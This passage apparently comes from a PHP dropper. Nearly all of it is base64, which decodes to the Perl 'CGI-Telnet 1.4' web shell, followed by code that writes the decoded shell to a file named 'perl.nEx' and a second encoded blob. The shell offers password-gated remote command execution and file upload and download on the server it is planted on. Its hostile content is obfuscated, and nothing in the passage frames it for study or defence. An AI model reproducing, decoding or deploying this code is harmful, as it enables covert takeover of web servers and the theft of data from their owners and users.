bGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwg JFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7 CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6 ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBt IShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25v d25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNv bnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQg d2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0 byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZh aWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25s b2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmls ZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGlu ayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rp b24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0 aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFs aWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRU cmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxl ID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFu c2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZp bGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdl dEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28i KSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFy Z2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJ ewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50 cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRp c3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhl cndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUg dXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFn ZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7 CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9h ZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1 cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBv ZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5h bWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14v XlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUg PSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBh cmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9w dGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmls ZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7 CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQ TE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307 CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNp emUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJ fQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwv Y29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0 aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5v dCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVj aWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2Vy IGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93 bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYg bm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigk VHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRG aWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdl dCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigo JFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgk VHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0 RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNo b3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9d JC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0 aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRv QnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhl IGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0 cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7Cgok U2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7 J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0g JGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsK CiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7 ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3Rvcnkg aW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57 J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIp OwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFj dGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4K ewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdh bnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24g ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxl Owp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2Fk IGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMg dXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KCgo='; file_put_contents('perl.nEx',base64_decode($fileencode)); echo "Here perl.nEx
"; $fileencode1='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRW ZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNCI7CiRFZGl0UGVyc2lvbj0iQ3UgSGVvIjsK CiRQYXNzd29yZCA9ICIiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIg dGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VS VkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfWVsc2V7 CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hh bmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMg c2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcg aXQgb24gVW5peCwgeW91CgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5U Q21kU2VwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNv bW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRT ZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFu ZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJh dGlvbiA9IDEwOwkJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxs ZWQKCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJ CQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkjIHRh a2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJIyBUaGlzIGlzIHZh bGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2 ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh IGlzIHNlbnQgdG8gdGhlCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv dGhlcndpc2UKCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQK CQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkj IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCSMgaXMgYmVp bmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVO TEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAk TlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2Qi KTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5O VCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxMzA7CiRyb3dzPSAyNjsK Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93 c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NU IGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVz LgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0 b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3Nl ZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFi bGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9t IG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJz ZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZh bCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlw YXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9E J30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigk RU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAk TXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05U RU5UX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NP TlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJ ewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxp c3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsK CQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5 ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4g YnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxl bmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7 CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRs aXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxp c3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZh bCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUo Li4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJ ZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7 CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJ CSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRp XSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwg PX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlm IChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQ YXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEVuY29kZURpcgp7CglteSAkZGlyID0gc2hp ZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPX4gcy8oXHJ8XG4p Ly87CglyZXR1cm4gJGRpcjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBI VE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9j dXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFk ZXIKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGlk ID0gYGlkYCBpZighJFdpbk5UKTsKCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsKCXBy aW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8 aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7 IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+by0tLVsgJFZlcnNpb24gXTwvdGl0bGU+CiRIdG1sTWV0 YUhlYWRlcgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjog I2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNl M2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxF RlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlk Owp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xv cjogIzJCQThFQzsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRp ciB0aHsKCWNvbG9yOiAjRkY5OTAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAh aW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7 Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1D T0xPUjogQmxhY2s7CmNvbG9yOiAjZmY5OTAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93 OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7 CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7 CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6 ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBG aXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICMyQkE4RUM7IFRF WFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1E RUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBj eWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9O OiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0K Lmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVy IHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4s IDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5v bmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDog IzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24g RW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsK CWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2Rf Zm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5p bm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9 J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6 ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2 YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9 